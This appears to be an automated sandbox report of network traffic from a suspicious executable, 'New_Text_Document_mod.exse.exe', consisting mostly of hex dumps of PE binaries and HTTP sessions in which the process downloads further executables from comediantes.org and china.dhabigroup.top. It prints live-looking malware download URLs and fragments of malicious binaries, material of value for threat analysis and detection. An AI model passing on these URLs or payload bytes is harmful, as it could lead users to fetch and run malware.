2023-12-20 14:38:02 UTC	654	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 aa c6 82 65 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 0c 0a 00 00 0a 00 00 00 00 00 00 0e 2a 0a 00 00 20 00 00 00 40 0a 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 0a 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELe0* @@ @
2023-12-20 14:38:02 UTC	1369	IN	Data Raw: 00 0a 00 72 ac 00 00 70 0a 06 02 7b 01 00 00 04 73 17 00 00 0a 0b 07 17 6f 18 00 00 0a 00 07 73 19 00 00 0a 0c 73 1a 00 00 0a 0d 08 09 6f 1b 00 00 0a 26 02 7b 01 00 00 04 6f 1c 00 00 0a 00 02 7b 0b 00 00 04 09 6f 1d 00 00 0a 00 2a 0a 00 2a 26 00 02 28 02 00 00 06 00 2a 13 30 03 00 1e 02 00 00 00 00 00 00 00 02 7b 0d 00 00 04 02 7b 0b 00 00 04 6f 1e 00 00 0a 16 6f 1f 00 00 0a 6f 20 00 00 0a 72 da 00 00 70 6f 21 00 00 0a 6f 22 00 00 0a 6f 23 00 00 0a 6f 24 00 00 0a 00 02 7b 1d 00 00 04 02 7b 0b 00 00 04 6f 1e 00 00 0a 16 6f 1f 00 00 0a 6f 20 00 00 0a 72 e4 00 00 70 6f 21 00 00 0a 6f 22 00 00 0a 6f 23 00 00 0a 6f 24 00 00 0a 00 02 7b 1c 00 00 04 02 7b 0b 00 00 04 6f 1e 00 00 0a 16 6f 1f 00 00 0a 6f 20 00 00 0a 72 ee 00 00 70 6f 21 00 00 0a 6f 22 00 00 0a 6f Data Ascii: rp{sosso&{o{o*&(0{{ooo rpo!o"o#o${{ooo rpo!o"o#o${{ooo rpo!o"o
2023-12-20 14:38:02 UTC	1369	IN	Data Raw: 7b 03 00 00 04 72 4a 01 00 70 6f 37 00 00 0a 00 02 7b 03 00 00 04 20 dd 02 00 00 1f 18 73 38 00 00 0a 6f 39 00 00 0a 00 02 7b 03 00 00 04 16 6f 3a 00 00 0a 00 02 7b 03 00 00 04 72 4a 01 00 70 6f 24 00 00 0a 00 02 7b 04 00 00 04 6f 3b 00 00 0a 18 8d 47 00 00 01 25 16 02 7b 05 00 00 04 a2 25 17 02 7b 06 00 00 04 a2 6f 34 00 00 0a 00 02 7b 04 00 00 04 72 60 01 00 70 6f 3c 00 00 0a 00 02 7b 04 00 00 04 1f 45 1f 14 73 38 00 00 0a 6f 3d 00 00 0a 00 02 7b 04 00 00 04 72 92 01 00 70 6f 3e 00 00 0a 00 02 7b 05 00 00 04 72 a4 01 00 70 6f 3c 00 00 0a 00 02 7b 05 00 00 04 20 80 00 00 00 1f 16 73 38 00 00 0a 6f 3d 00 00 0a 00 02 7b 05 00 00 04 72 d8 01 00 70 6f 3e 00 00 0a 00 02 7b 06 00 00 04 72 ec 01 00 70 6f 3c 00 00 0a 00 02 7b 06 00 00 04 20 80 00 00 00 1f 16 73 Data Ascii: {rJpo7{ s8o9{o:{rJpo${o;G%{%{o4{r`po<{Es8o={rpo>{rpo<{ s8o={rpo>{rpo<{ s
2023-12-20 14:38:02 UTC	1369	IN	Data Raw: 00 02 7b 31 00 00 04 1f 10 6f 4e 00 00 0a 00 02 7b 31 00 00 04 72 0e 01 00 70 6f 4b 00 00 0a 00 02 7b 31 00 00 04 72 26 04 00 70 6f 4c 00 00 0a 00 02 7b 31 00 00 04 72 0e 01 00 70 6f 4d 00 00 0a 00 02 7b 0c 00 00 04 28 4f 00 00 0a 6f 50 00 00 0a 00 02 7b 0c 00 00 04 6f 41 00 00 0a 02 7b 0d 00 00 04 6f 42 00 00 0a 00 02 7b 0c 00 00 04 6f 41 00 00 0a 02 7b 0e 00 00 04 6f 42 00 00 0a 00 02 7b 0c 00 00 04 6f 41 00 00 0a 02 7b 0f 00 00 04 6f 42 00 00 0a 00 02 7b 0c 00 00 04 6f 41 00 00 0a 02 7b 10 00 00 04 6f 42 00 00 0a 00 02 7b 0c 00 00 04 6f 41 00 00 0a 02 7b 11 00 00 04 6f 42 00 00 0a 00 02 7b 0c 00 00 04 6f 41 00 00 0a 02 7b 12 00 00 04 6f 42 00 00 0a 00 02 7b 0c 00 00 04 6f 41 00 00 0a 02 7b 13 00 00 04 6f 42 00 00 0a 00 02 7b 0c 00 00 04 6f 41 00 00 0a Data Ascii: {1oN{1rpoK{1r&poL{1rpoM{(OoP{oA{oB{oA{oB{oA{oB{oA{oB{oA{oB{oA{oB{oA{oB{oA
2023-12-20 14:38:02 UTC	1369	IN	Data Raw: 00 00 04 1f 1c 6f 3a 00 00 0a 00 02 7b 14 00 00 04 72 14 05 00 70 6f 24 00 00 0a 00 02 7b 15 00 00 04 17 6f 52 00 00 0a 00 02 7b 15 00 00 04 20 5c 01 00 00 1f 6d 73 35 00 00 0a 6f 36 00 00 0a 00 02 7b 15 00 00 04 72 28 05 00 70 6f 37 00 00 0a 00 02 7b 15 00 00 04 1f 28 1f 0d 73 38 00 00 0a 6f 39 00 00 0a 00 02 7b 15 00 00 04 1f 1b 6f 3a 00 00 0a 00 02 7b 15 00 00 04 72 36 05 00 70 6f 24 00 00 0a 00 02 7b 16 00 00 04 17 6f 52 00 00 0a 00 02 7b 16 00 00 04 20 5c 01 00 00 1f 53 73 35 00 00 0a 6f 36 00 00 0a 00 02 7b 16 00 00 04 72 46 05 00 70 6f 37 00 00 0a 00 02 7b 16 00 00 04 1f 3b 1f 0d 73 38 00 00 0a 6f 39 00 00 0a 00 02 7b 16 00 00 04 1f 1a 6f 3a 00 00 0a 00 02 7b 16 00 00 04 72 54 05 00 70 6f 24 00 00 0a 00 02 7b 17 00 00 04 17 6f 52 00 00 0a 00 02 7b Data Ascii: o:{rpo${oR{ \ms5o6{r(po7{(s8o9{o:{r6po${oR{ \Ss5o6{rFpo7{;s8o9{o:{rTpo${oR{
2023-12-20 14:38:02 UTC	1369	IN	Data Raw: 00 00 0a 00 02 7b 23 00 00 04 6f 33 00 00 0a 1a 8d 47 00 00 01 25 16 02 7b 24 00 00 04 a2 25 17 02 7b 25 00 00 04 a2 25 18 02 7b 26 00 00 04 a2 25 19 02 7b 27 00 00 04 a2 6f 34 00 00 0a 00 02 7b 23 00 00 04 16 1f 18 73 35 00 00 0a 6f 36 00 00 0a 00 02 7b 23 00 00 04 72 4a 06 00 70 6f 37 00 00 0a 00 02 7b 23 00 00 04 20 dd 02 00 00 1f 19 73 38 00 00 0a 6f 39 00 00 0a 00 02 7b 23 00 00 04 1a 6f 3a 00 00 0a 00 02 7b 23 00 00 04 72 4a 06 00 70 6f 24 00 00 0a 00 02 7b 24 00 00 04 28 55 00 00 0a 6f 56 00 00 0a 00 02 7b 24 00 00 04 72 60 06 00 70 6f 3c 00 00 0a 00 02 7b 24 00 00 04 1f 29 1f 16 73 38 00 00 0a 6f 3d 00 00 0a 00 02 7b 24 00 00 04 72 82 06 00 70 6f 3e 00 00 0a 00 02 7b 25 00 00 04 28 55 00 00 0a 6f 56 00 00 0a 00 02 7b 25 00 00 04 72 8c 06 00 70 6f Data Ascii: {#o3G%{$%{%%{&%{'o4{#s5o6{#rJpo7{# s8o9{#o:{#rJpo${$(UoV{$r`po<{$)s8o={$rpo>{%(UoV{%rpo
2023-12-20 14:38:02 UTC	1369	IN	Data Raw: 00 00 0a 7d 52 00 00 04 02 73 28 00 00 0a 7d 53 00 00 04 02 73 28 00 00 0a 7d 54 00 00 04 02 73 28 00 00 0a 7d 55 00 00 04 02 73 28 00 00 0a 7d 56 00 00 04 02 73 28 00 00 0a 7d 57 00 00 04 02 73 28 00 00 0a 7d 58 00 00 04 02 73 28 00 00 0a 7d 59 00 00 04 02 73 28 00 00 0a 7d 5a 00 00 04 02 73 28 00 00 0a 7d 42 00 00 04 02 73 28 00 00 0a 7d 5b 00 00 04 02 73 28 00 00 0a 7d 5c 00 00 04 02 73 28 00 00 0a 7d 5d 00 00 04 02 73 28 00 00 0a 7d 5e 00 00 04 02 73 76 00 00 0a 7d 3f 00 00 04 02 73 28 00 00 0a 7d 41 00 00 04 02 73 2f 00 00 0a 7d 35 00 00 04 02 73 76 00 00 0a 7d 37 00 00 04 02 73 76 00 00 0a 7d 38 00 00 04 02 73 77 00 00 0a 7d 36 00 00 04 02 73 78 00 00 0a 7d 40 00 00 04 02 02 7b 33 00 00 04 73 79 00 00 0a 7d 67 00 00 04 02 73 30 00 00 0a 7d 61 00 00 Data Ascii: }Rs(}Ss(}Ts(}Us(}Vs(}Ws(}Xs(}Ys(}Zs(}Bs(}[s(}\s(}]s(}^sv}?s(}As/}5sv}7sv}8sw}6sx}@{3sy}gs0}a
2023-12-20 14:38:02 UTC	1369	IN	Data Raw: 00 70 6f 3c 00 00 0a 00 02 7b 3c 00 00 04 20 a1 00 00 00 1c 73 38 00 00 0a 6f 3d 00 00 0a 00 02 7b 3e 00 00 04 72 96 09 00 70 6f 3c 00 00 0a 00 02 7b 3e 00 00 04 20 a1 00 00 00 1c 73 38 00 00 0a 6f 3d 00 00 0a 00 02 7b 51 00 00 04 72 be 09 00 70 6f 3c 00 00 0a 00 02 7b 51 00 00 04 20 41 00 02 00 6f 7c 00 00 0a 00 02 7b 51 00 00 04 20 a4 00 00 00 1f 16 73 38 00 00 0a 6f 3d 00 00 0a 00 02 7b 51 00 00 04 72 f4 09 00 70 6f 3e 00 00 0a 00 02 7b 52 00 00 04 6f 3b 00 00 0a 18 8d 47 00 00 01 25 16 02 7b 53 00 00 04 a2 25 17 02 7b 54 00 00 04 a2 6f 34 00 00 0a 00 02 7b 52 00 00 04 72 0c 0a 00 70 6f 3c 00 00 0a 00 02 7b 52 00 00 04 1f 2c 1f 14 73 38 00 00 0a 6f 3d 00 00 0a 00 02 7b 52 00 00 04 72 1e 0a 00 70 6f 3e 00 00 0a 00 02 7b 53 00 00 04 17 6f 7d 00 00 0a 00 Data Ascii: po<{< s8o={>rpo<{> s8o={Qrpo<{Q Ao\|{Q s8o={Qrpo>{Ro;G%{S%{To4{Rrpo<{R,s8o={Rrpo>{So}
2023-12-20 14:38:02 UTC	1369	IN	Data Raw: 5e 00 00 04 72 5c 0d 00 70 6f 3c 00 00 0a 00 02 7b 5e 00 00 04 20 70 00 02 00 6f 7c 00 00 0a 00 02 7b 5e 00 00 04 20 a8 00 00 00 1f 16 73 38 00 00 0a 6f 3d 00 00 0a 00 02 7b 5e 00 00 04 72 90 0d 00 70 6f 3e 00 00 0a 00 02 7b 3f 00 00 04 72 a4 0d 00 70 6f 3c 00 00 0a 00 02 7b 3f 00 00 04 20 a5 00 00 00 1c 73 38 00 00 0a 6f 3d 00 00 0a 00 02 7b 41 00 00 04 72 cc 0d 00 70 6f 3c 00 00 0a 00 02 7b 41 00 00 04 20 a8 00 00 00 1f 16 73 38 00 00 0a 6f 3d 00 00 0a 00 02 7b 41 00 00 04 72 fa 0d 00 70 6f 3e 00 00 0a 00 02 7b 35 00 00 04 6f 33 00 00 0a 1e 8d 47 00 00 01 25 16 02 7b 61 00 00 04 a2 25 17 02 7b 62 00 00 04 a2 25 18 02 7b 63 00 00 04 a2 25 19 02 7b 37 00 00 04 a2 25 1a 02 7b 64 00 00 04 a2 25 1b 02 7b 65 00 00 04 a2 25 1c 02 7b 38 00 00 04 a2 25 1d 02 7b Data Ascii: ^r\po<{^ po\|{^ s8o={^rpo>{?rpo<{? s8o={Arpo<{A s8o={Arpo>{5o3G%{a%{b%{c%{7%{d%{e%{8%{
2023-12-20 14:38:02 UTC	1369	IN	Data Raw: 00 00 04 28 83 00 00 0a 6f 56 00 00 0a 00 02 7b 44 00 00 04 72 c4 11 00 70 6f 3c 00 00 0a 00 02 7b 44 00 00 04 20 4e 00 02 00 6f 7c 00 00 0a 00 02 7b 44 00 00 04 20 92 00 00 00 1f 16 73 38 00 00 0a 6f 3d 00 00 0a 00 02 7b 44 00 00 04 72 ee 11 00 70 6f 3e 00 00 0a 00 02 7b 44 00 00 04 02 fe 06 0c 00 00 06 73 3f 00 00 0a 6f 40 00 00 0a 00 02 7b 45 00 00 04 06 72 f8 11 00 70 6f 81 00 00 0a 74 6b 00 00 01 6f 82 00 00 0a 00 02 7b 45 00 00 04 28 83 00 00 0a 6f 56 00 00 0a 00 02 7b 45 00 00 04 72 30 12 00 70 6f 3c 00 00 0a 00 02 7b 45 00 00 04 20 4f 00 02 00 6f 7c 00 00 0a 00 02 7b 45 00 00 04 20 92 00 00 00 1f 16 73 38 00 00 0a 6f 3d 00 00 0a 00 02 7b 45 00 00 04 72 5c 12 00 70 6f 3e 00 00 0a 00 02 7b 45 00 00 04 02 fe 06 0d 00 00 06 73 3f 00 00 0a 6f 40 00 00 Data Ascii: (oV{Drpo<{D No\|{D s8o={Drpo>{Ds?o@{Erpotko{E(oV{Er0po<{E Oo\|{E s8o={Er\po>{Es?o@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	50048	162.241.217.120	443	7128	C:\Users\user\Desktop\New_Text_Document_mod.exse.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 14:38:21 UTC	100	OUT	GET /wp-admin/user/513/voice5.13sert.exe HTTP/1.1 Host: comediantes.org Connection: Keep-Alive
2023-12-20 14:38:21 UTC	294	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 14:38:21 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Mon, 18 Dec 2023 11:29:34 GMT Accept-Ranges: bytes Content-Length: 15816396 host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ== Content-Type: application/x-msdownload
2023-12-20 14:38:21 UTC	7898	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 e6 36 ff c0 a2 57 91 93 a2 57 91 93 a2 57 91 93 e9 2f 92 92 a5 57 91 93 e9 2f 94 92 1d 57 91 93 e9 2f 95 92 a8 57 91 93 ed 2b 6c 93 a6 57 91 93 ed 2b 94 92 8a 57 91 93 ed 2b 95 92 b3 57 91 93 ed 2b 92 92 ab 57 91 93 e9 2f 90 92 a9 57 91 93 a2 57 90 93 29 57 91 93 65 2b 95 92 b6 57 91 93 65 2b 93 92 a3 57 91 93 52 69 63 68 a2 57 91 93 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$6WWW/W/W/W+lW+W+W+W/WW)We+We+WRichW
2023-12-20 14:38:22 UTC	8000	IN	Data Raw: 4c 8d 83 78 20 00 00 c7 44 24 38 5c 00 00 00 48 8d 85 50 3f 00 00 48 89 44 24 30 48 8d 15 1c 81 02 00 48 8d 05 11 81 02 00 c7 44 24 28 5c 00 00 00 48 8d 8d 50 2f 00 00 48 89 44 24 20 e8 e4 02 00 00 85 c0 75 66 48 8b cb e8 f8 3b 00 00 83 f8 ff 74 21 48 8d 93 78 30 00 00 4c 8d 44 24 50 48 8d 8d 50 2f 00 00 e8 bb 3a 00 00 83 f8 ff 0f 85 78 02 00 00 48 8d 54 24 50 48 8d 0d a6 80 02 00 e8 11 fc ff ff b8 ff ff ff ff 48 8b bc 24 90 50 00 00 48 8b 8d 50 4f 00 00 48 33 cc e8 05 82 00 00 48 81 c4 60 50 00 00 5e 5b 5d c3 48 8d 85 50 0f 00 00 41 b9 5c 00 00 00 4c 8d 83 78 20 00 00 48 89 44 24 20 48 8d 15 82 80 02 00 48 8d 8d 50 1f 00 00 e8 4e 02 00 00 85 c0 74 64 48 8d 85 50 0f 00 00 41 b9 5c 00 00 00 4c 8d 83 78 20 00 00 48 89 44 24 20 48 8d 15 62 80 02 00 48 8d 8d Data Ascii: Lx D$8\HP?HD$0HHD$(\HP/HD$ ufH;t!Hx0LD$PHP/:xHT$PHH$PHPOH3H`P^[]HPA\Lx HD$ HHPNtdHPA\Lx HD$ HbH
2023-12-20 14:38:22 UTC	8000	IN	Data Raw: 4c 24 60 e8 8e 27 00 00 4c 8d 44 24 20 48 8d 93 78 40 00 00 48 8d 8c 24 60 10 00 00 e8 f5 f2 ff ff 48 85 c0 75 19 41 b8 00 10 00 00 48 8d 93 78 40 00 00 48 8d 0d 74 74 02 00 e8 17 dd ff ff 48 8d 8c 24 60 10 00 00 e8 4a 27 00 00 48 85 c0 75 22 4c 8d 84 24 60 10 00 00 48 8d 15 86 74 02 00 48 8d 0d 9f 74 02 00 e8 9a db ff ff b8 ff ff ff ff eb 0e 8b 15 f1 91 03 00 48 8b c8 e8 55 f3 ff ff 48 8b 8c 24 60 20 00 00 48 33 cc e8 d5 62 00 00 48 8b 9c 24 88 20 00 00 48 81 c4 70 20 00 00 5f c3 cc cc cc cc 48 89 5c 24 10 48 89 6c 24 18 48 89 74 24 20 57 b8 40 20 00 00 e8 d6 62 00 00 48 2b e0 48 8b 05 34 85 03 00 48 33 c4 48 89 84 24 30 20 00 00 48 8b 05 9a 91 03 00 33 ed 48 8b 59 10 48 8b f1 c7 00 01 00 00 00 48 8b 05 7c 91 03 00 c7 00 01 00 00 00 48 8b 05 9f 91 03 00 Data Ascii: L$`'LD$ Hx@H$`HuAHx@HttH$`J'Hu"L$`HtHtHUH$` H3bH$ Hp _H\$Hl$Ht$ W@ bH+H4H3H$0 H3HYHH\|H
2023-12-20 14:38:22 UTC	8000	IN	Data Raw: 00 48 8b cb e8 39 d7 00 00 b8 01 00 00 00 48 8b 8c 24 50 20 00 00 48 33 cc e8 08 44 00 00 4c 8d 9c 24 60 20 00 00 49 8b 5b 30 49 8b 6b 38 49 8b e3 41 5e 5f 5e c3 b8 38 40 00 00 e8 16 44 00 00 48 2b e0 48 8b 05 74 66 03 00 48 33 c4 48 89 84 24 20 40 00 00 48 8b d1 45 33 c0 33 c9 e8 74 10 00 00 41 b8 00 20 00 00 48 8d 54 24 20 48 8b c8 ff 15 f8 36 02 00 85 c0 74 52 41 b8 00 20 00 00 48 8d 94 24 20 20 00 00 48 8d 4c 24 20 ff 15 eb 36 02 00 45 33 c0 48 8d 54 24 20 33 c9 e8 44 11 00 00 48 85 c0 74 25 80 38 00 74 20 48 8b c8 e8 fe 26 01 00 48 8b 8c 24 20 40 00 00 48 33 cc e8 62 43 00 00 48 81 c4 38 40 00 00 c3 33 c0 48 8b 8c 24 20 40 00 00 48 33 cc e8 48 43 00 00 48 81 c4 38 40 00 00 c3 48 89 5c 24 18 57 b8 60 40 00 00 e8 60 43 00 00 48 2b e0 48 8b 05 be 65 03 Data Ascii: H9H$P H3DL$` I[0Ik8IA^_^8@DH+HtfH3H$ @HE33tA HT$ H6tRA H$ HL$ 6E3HT$ 3DHt%8t H&H$ @H3bCH8@3H$ @H3HCH8@H\$W`@`CH+He
2023-12-20 14:38:22 UTC	8000	IN	Data Raw: f7 e1 d1 ea 8d 4a 01 0f 1f 40 00 66 66 66 0f 1f 84 00 00 00 00 00 41 0f b6 01 41 83 c3 fd 41 88 00 41 0f b6 41 01 41 88 40 01 41 0f b6 41 02 49 83 c1 03 41 88 40 02 49 83 c0 03 48 2b cd 75 d6 45 85 db 0f 84 90 00 00 00 41 0f b6 01 8b b4 24 88 00 00 00 41 88 00 49 ff c0 44 3b dd 4c 8b 5c 24 08 0f 86 7d 00 00 00 41 0f b6 41 01 41 88 00 49 ff c0 eb 70 8b c6 49 8b c8 48 2b c8 66 0f 1f 84 00 00 00 00 00 0f b6 01 48 8d 49 03 41 88 00 41 83 c3 fd 0f b6 41 fe 41 88 40 01 0f b6 41 ff 41 88 40 02 49 83 c0 03 41 83 fb 02 77 d8 45 85 db 74 26 0f b6 01 8b b4 24 88 00 00 00 41 88 00 49 ff c0 44 3b dd 4c 8b 5c 24 08 76 18 0f b6 41 01 41 88 00 49 ff c0 eb 0c 8b b4 24 88 00 00 00 4c 8b 5c 24 08 48 3b 7c 24 18 73 66 4d 3b c3 73 61 8b 14 24 e9 6d fc ff ff 48 8b 74 24 10 f6 Data Ascii: J@fffAAAAAA@AAIA@IH+uEA$AID;L\$}AAAIpIH+fHIAAAA@AA@IAwEt&$AID;L\$vAAI$L\$H;\|$sfM;sa$mHt$
2023-12-20 14:38:22 UTC	8000	IN	Data Raw: 41 b9 0f 00 00 00 41 8b c1 66 44 39 64 44 70 75 4f 8d 42 01 66 44 39 64 44 70 75 41 8b c2 66 44 39 64 44 70 75 31 8d 42 ff 66 44 39 64 44 70 75 20 8d 42 fe 66 44 39 64 44 70 75 0f 41 83 c1 fb 83 c2 fb 41 83 f9 01 73 bd eb 15 41 83 c1 fc eb 0f 41 83 c1 fd eb 09 41 83 c1 fe eb 03 41 ff c9 45 3b c1 41 8b c9 41 0f 46 c8 45 85 c9 75 2c 48 8b 0e c7 44 24 20 40 01 00 00 8b 44 24 20 89 01 48 83 06 04 48 8b 0e 89 01 48 83 06 04 33 c0 41 c7 03 01 00 00 00 e9 27 04 00 00 41 bb 01 00 00 00 45 3b cb 76 17 48 8d 44 24 72 66 44 39 20 75 0c 41 ff c3 48 83 c0 02 45 3b d9 72 ee 41 3b cb 45 8b d3 ba 01 00 00 00 44 0f 43 d1 44 8b c2 44 89 54 24 34 66 90 8b c2 45 03 c0 0f b7 4c 44 70 44 2b c1 0f 88 00 04 00 00 ff c2 83 fa 0f 76 e6 45 85 c0 7e 12 85 ff 0f 84 ec 03 00 00 41 83 Data Ascii: AAfD9dDpuOBfD9dDpuAfD9dDpu1BfD9dDpu BfD9dDpuAAsAAAAE;AAFEu,HD$ @D$ HHH3A'AE;vHD$rfD9 uAHE;rA;EDCDDT$4fELDpD+vE~A
2023-12-20 14:38:22 UTC	8000	IN	Data Raw: c2 4d 0f 44 c8 41 80 38 00 74 e7 49 ff c0 41 f6 c0 0f 75 e7 0f b6 c2 66 0f 6e c0 66 41 0f 3a 63 00 40 73 0d 4c 63 c9 4d 03 c8 66 41 0f 3a 63 00 40 74 bf 49 83 c0 10 eb e2 cc 0f b7 c2 4c 8b c1 45 33 c9 66 0f 6e c0 f2 0f 70 c8 00 66 0f 70 d1 00 49 8b c0 25 ff 0f 00 00 48 3d f0 0f 00 00 77 23 f3 41 0f 6f 00 0f 57 c9 66 0f 75 c8 66 0f 75 c2 66 0f eb c8 66 0f d7 c1 85 c0 75 1d b8 10 00 00 00 eb 11 66 41 39 10 74 25 66 45 39 08 74 1c b8 02 00 00 00 4c 03 c0 eb b7 0f bc c8 4c 03 c1 66 41 39 10 4d 0f 44 c8 49 8b c1 c3 33 c0 c3 49 8b c0 c3 cc cc cc cc cc cc cc cc cc 66 66 0f 1f 84 00 00 00 00 00 48 2b d1 49 83 f8 08 72 22 f6 c1 07 74 14 66 90 8a 01 3a 04 11 75 2c 48 ff c1 49 ff c8 f6 c1 07 75 ee 4d 8b c8 49 c1 e9 03 75 1f 4d 85 c0 74 0f 8a 01 3a 04 11 75 0c 48 ff Data Ascii: MDA8tIAufnfA:c@sLcMfA:c@tILE3fnpfpI%H=w#AoWfufuffufA9t%fE9tLLfA9MDI3IffH+Ir"tf:u,HIuMIuMt:uH
2023-12-20 14:38:22 UTC	8000	IN	Data Raw: 44 24 30 48 8b cf 8a 84 24 98 00 00 00 88 44 24 28 48 89 5c 24 20 e8 bb f5 ff ff b8 01 00 00 00 48 8b 5c 24 60 48 8b 6c 24 68 48 8b 74 24 70 48 8b 7c 24 78 48 83 c4 50 41 5e c3 e8 72 ab 00 00 cc cc e9 c3 fd ff ff cc cc cc 40 53 48 83 ec 20 48 8b d9 48 8b c2 48 8d 0d 39 2e 02 00 0f 57 c0 48 89 0b 48 8d 53 08 48 8d 48 08 0f 11 02 e8 2b 08 00 00 48 8d 05 4c 2e 02 00 48 89 03 48 8b c3 48 83 c4 20 5b c3 48 83 61 10 00 48 8d 05 44 2e 02 00 48 89 41 08 48 8d 05 29 2e 02 00 48 89 01 48 8b c1 c3 cc cc 40 53 48 83 ec 20 48 8b d9 48 8b c2 48 8d 0d dd 2d 02 00 0f 57 c0 48 89 0b 48 8d 53 08 48 8d 48 08 0f 11 02 e8 cf 07 00 00 48 8b c3 48 83 c4 20 5b c3 cc cc 48 8d 05 b5 2d 02 00 48 89 01 48 83 c1 08 e9 41 08 00 00 cc cc cc cc cc cc cc cc cc 48 89 5c 24 08 57 48 83 ec Data Ascii: D$0H$D$(H\$ H\$`Hl$hHt$pH\|$xHPA^r@SH HHH9.WHHSHH+HL.HHH [HaHD.HAH).HH@SH HHH-WHHSHHHH [H-HHAH\$WH
2023-12-20 14:38:22 UTC	8000	IN	Data Raw: ff 8b 8c 24 88 00 00 00 0f b7 c3 66 2b c1 66 83 f8 09 77 19 e9 5a fe ff ff 66 3b 9c 24 8c 00 00 00 73 0a 0f b7 c3 2b c2 83 f8 ff 75 22 8b 94 24 90 00 00 00 0f b7 cb 8d 41 bf 3b c2 8d 41 9f 76 04 3b c2 77 6d 3b c2 77 03 83 c1 e0 8d 41 c9 85 c0 75 5f 48 8b 0f 41 b9 df ff 00 00 0f b7 11 4c 8d 41 02 4c 89 07 8d 42 a8 66 41 85 c1 74 31 45 85 ff 48 89 0f b8 08 00 00 00 41 0f 45 c7 44 8b f8 66 85 d2 74 3b 66 39 11 74 36 e8 1a 3e 00 00 c7 00 16 00 00 00 e8 7b 97 00 00 45 33 d2 eb 21 41 0f b7 18 49 8d 40 02 48 89 07 b8 10 00 00 00 eb 05 b8 0a 00 00 00 45 85 ff 41 0f 45 c7 44 8b f8 33 d2 83 c8 ff 41 f7 f7 41 bb 61 00 00 00 bd 60 06 00 00 44 8b c8 41 bc 10 ff 00 00 45 8d 6b cf 66 41 3b dd 0f 82 a5 01 00 00 66 83 fb 3a 73 0b 0f b7 cb 41 2b cd e9 8f 01 00 00 66 41 3b Data Ascii: $f+fwZf;$s+u"$A;Av;wm;wAu_HALALBfAt1EHAEDft;f9t6>{E3!AI@HEAED3AAa`DAEkfA;f:sA+fA;
2023-12-20 14:38:22 UTC	8000	IN	Data Raw: 00 00 c6 41 24 07 48 83 c4 38 e9 17 03 00 00 3c 4e 75 41 f6 01 08 0f 85 52 01 00 00 c6 41 24 08 48 8b 41 08 45 33 c9 45 33 c0 33 d2 c6 40 30 01 c7 40 2c 16 00 00 00 48 8b 41 08 33 c9 48 89 44 24 28 48 83 64 24 20 00 e8 bd 77 00 00 32 c0 e9 1c 01 00 00 83 79 34 00 75 c6 3c 49 0f 84 b0 00 00 00 3c 4c 0f 84 9f 00 00 00 3c 54 0f 84 8e 00 00 00 3c 68 74 6c 3c 6a 74 5c 3c 6c 74 34 3c 74 74 24 3c 77 74 14 3c 7a 0f 85 e0 00 00 00 c7 41 34 06 00 00 00 e9 d4 00 00 00 c7 41 34 0c 00 00 00 e9 c8 00 00 00 c7 41 34 07 00 00 00 e9 bc 00 00 00 48 8b 41 10 80 38 6c 75 0e 48 ff c0 48 89 41 10 b8 04 00 00 00 eb 05 b8 03 00 00 00 89 41 34 e9 98 00 00 00 c7 41 34 05 00 00 00 e9 8c 00 00 00 48 8b 41 10 80 38 68 75 0e 48 ff c0 48 89 41 10 b8 01 00 00 00 eb d5 b8 02 00 00 00 eb Data Ascii: A$H8<NuARA$HAE3E33@0@,HA3HD$(Hd$ w2y4u<I<L<T<htl<jt\<lt4<tt$<wt<zA4A4A4HA8luHHAA4A4HA8huHHA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	50102	172.67.195.16	443	7128	C:\Users\user\Desktop\New_Text_Document_mod.exse.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 14:38:47 UTC	91	OUT	GET /_errorpages/somzx.exe HTTP/1.1 Host: china.dhabigroup.top Connection: Keep-Alive
2023-12-20 14:38:47 UTC	709	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 14:38:47 GMT Content-Type: application/octet-stream Content-Length: 780288 Connection: close Last-Modified: Tue, 19 Dec 2023 23:22:15 GMT ETag: "be800-60ce5230ec5e5" Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=NFzOiH6FdM2%2FHYiNg0OpZ%2F05If9ZvFUwwAc7Y8Kf73vgtdnXQACWs2wgY4HOBpJuPisNylfol4cL3gLU4IboRx5Se4h5pkKIM69JoqQaNoVXyq2wOksN%2FSQtThDSmed%2BcQML2lZxOA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8388a18aa809741a-MIA 